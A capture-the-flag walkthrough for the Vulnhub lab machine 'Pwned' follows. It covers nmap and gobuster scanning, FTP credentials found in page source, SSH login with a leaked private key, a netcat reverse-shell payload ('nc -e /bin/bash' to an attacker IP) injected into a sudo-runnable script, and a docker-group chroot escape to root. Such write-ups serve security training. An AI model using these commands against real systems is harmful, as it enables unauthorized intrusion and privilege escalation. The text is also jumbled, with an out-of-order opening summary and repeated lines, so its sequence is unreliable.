Pwned - Walkthrough [Vulnhub]
Here's my solution for Pwned.
We find 3 port open.
Directory Scan
Using gobuster for scanning directories.
We find an interesting directory, /hidden_text which shows up with secret.dic
We find one, /pwned.vuln
Browsing http://192.168.1.106/pwned.vuln and checking the source gives us the ftp credential.
User: ftpuser
Message in note.txt
Getting Access
Before accessing ssh, lets change the file permission of id_rsa.
chmod 600 id_rsa
And we are logged in, we find our first flag.
Executing,
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
The final flag.
The Machine can be downloaded from here.
Nmap
Let start with nmap, scanning for all TCP Port.
nmap -sC -sV -p- 192.168.1.106
nmap -sC -sV -p- 192.168.1.106
Directory Scan
Browsing the website and checking the source, shows some sort of hint.
gobuster dir -u http://192.168.1.106/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -e
Browsing http://192.168.1.106/hidden_text/secret.dic, viewing the pattern of secret.dic, we can
guess that it might be the name of a directory.
Downloaded the file and imported in gobuster.
We find one, /pwned.vuln
Browsing http://192.168.1.106/pwned.vuln and checking the source gives us the ftp credential.
User: ftpuser
Password: B0ss_B!TcH
Login into ftp, a directory named as share, has two files note.txt and id_rsa. Lets get them.
The id_rsa, its a private key of user ariana.
Getting Access
Before accessing ssh, lets change the file permission of id_rsa.
chmod 600 id_rsa
And we are logged in, we find our first flag.
Privilege Escalation
From Arina > Selena
We see that we can run /home/messenger.sh file as user selena.
Lets execute it.
We see that we can run /home/messenger.sh file as user selena.
Lets execute it.
In the message, we enter the payload as-
nc -e /bin/bash 192.168.1.108 8080
nc -e /bin/bash 192.168.1.108 8080
On the other hand , on our machine started the netcat listener on port 8080 to get a reverse shell.
The second flag.
From Selena > Root
The output of id command, shows that the user is a member of docker group.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Comments
Post a Comment